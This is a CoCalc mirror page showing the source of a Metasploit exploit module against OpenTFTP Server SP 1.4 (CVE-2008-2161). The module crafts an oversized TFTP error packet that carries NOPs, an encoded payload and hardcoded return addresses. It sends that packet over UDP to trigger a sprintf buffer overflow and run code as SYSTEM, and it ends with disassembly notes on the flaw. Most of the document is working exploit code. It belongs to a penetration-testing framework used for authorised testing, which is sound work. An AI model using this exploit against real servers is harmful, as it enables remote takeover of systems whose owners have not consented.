CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/tftp/opentftp_error_code.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'OpenTFTP SP 1.4 Error Packet Overflow',
14
'Description' => %q{
15
This module exploits a buffer overflow in OpenTFTP Server SP 1.4. The vulnerable
16
condition triggers when the TFTP opcode is configured as an error packet, the TFTP
17
service will then format the message using a sprintf() function, which causes an
18
overflow, therefore allowing remote code execution under the context of SYSTEM.
19
20
The offset (to EIP) is specific to how the TFTP was started (as a 'Stand Alone',
21
or 'Service'). By default the target is set to 'Service' because that's the default
22
configuration during OpenTFTP Server SP 1.4's installation.
23
},
24
'Author' =>
25
[
26
'tixxDZ', #Initial discovery, poc
27
'steponequit' #Metasploit module
28
],
29
'References' =>
30
[
31
['CVE', '2008-2161'],
32
['OSVDB', '44904'],
33
['BID', '29111'],
34
['URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/29111.pl']
35
],
36
'DefaultOptions' =>
37
{
38
'EXITFUNC' => 'process',
39
},
40
'Payload' =>
41
{
42
'Space' => 5000,
43
'BadChars' => "\x00\x0a\x0d",
44
'StackAdjustment' => -3500,
45
},
46
'Platform' => 'win',
47
'Targets' =>
48
[
49
#.bss section that is overwritten
50
[ 'OpenTFTP 1.4 Service', { 'Ret' => 0x0041b3ab } ],
51
[ 'OpenTFTP 1.4 Stand Alone', { 'Ret' => 0x0041b3ab } ]
52
53
],
54
#TFTP server is installed as an NT service by default
55
'DefaultTarget' => 0,
56
'Privileged' => false,
57
'DisclosureDate' => '2008-07-05'))
58
59
register_options(
60
[
61
Opt::RPORT(69),
62
])
63
end
64
65
def exploit
66
67
if target.name =~ /OpenTFTP 1.4 Stand Alone/
68
# This hits msvcrt.printf()
69
sploit = "\x00\x05" + make_nops(10)
70
sploit << payload.encoded
71
sploit << rand_text_alpha(20517 - payload.encoded.length)
72
sploit << [target['Ret']].pack('V')
73
sploit << Rex::Text.rand_text_alpha(1469)
74
75
elsif target.name =~ /OpenTFTP 1.4 Service/
76
#This hits time()
77
sploit = "\x00\x05" + make_nops(10)
78
sploit << payload.encoded
79
sploit << rand_text_alpha(20445 - payload.encoded.length)
80
sploit << [target['Ret']].pack('V')
81
sploit << Rex::Text.rand_text_alpha(1545)
82
end
83
84
# Send the malicious packet
85
connect_udp
86
udp_sock.put(sploit)
87
handler
88
disconnect_udp
89
90
end
91
end
92
93
=begin
94
NOTE: If the module is run on a OSX box, you will probably see this error:
95
[-] Exploit exception: Message too long
96
That's OSX for you.
97
98
The vulnerable condition triggers when the TFTP opcode "\x00\x05" gets parsed in a ntohs() call:
99
.text:004022F6 mov eax, ds:dword_41B370
100
.text:004022FB movzx eax, word ptr [eax]
101
.text:004022FE mov [esp+5C8h+var_5C8], eax
102
.text:00402301 mov [ebp+var_550], 0FFFFFFFFh
103
.text:0040230B call ntohs
104
.text:00402310 sub esp, 4
105
.text:00402313 cmp ax, 5
106
.text:00402317 jnz short loc_40236F
107
...
108
109
When the value matches 0x05, we then head down to a sprinf() function to generate an error
110
message, which causes an overflow:
111
.text:00402330 mov eax, ds:dword_41B370
112
.text:00402335 add eax, 4
113
.text:00402338 mov [esp+5C8h+var_5BC], eax
114
.text:0040233C mov [esp+5C8h+var_5C0], edx
115
.text:00402340 mov [esp+5C8h+var_5C4], offset aErrorIAtClient ; "Error %i at Client, %s"
116
.text:00402348 mov [esp+5C8h+var_5C8], offset byte_41B394
117
.text:0040234F call sprintf
118
119
And then we either corrupt a msvcrt.printf() or time() call (in logMess), which end up gaining
120
control.
121
122
In source:
123
http://pastebin.com/QgZDwcan
124
125
else if (ntohs(datain->opcode) == 5) // Line 224
126
{
127
sprintf(serverError.errormessage, "Error %i at Client, %s", ntohs(datain->block), &datain->buffer);
128
logMess(req1, 1);
129
..... so on .....
130
131
You can also corrupt a SetServiceStatus() call with a smaller buffer, but obviously doesn't
132
give you a better crash than this one.
133
=end
134
135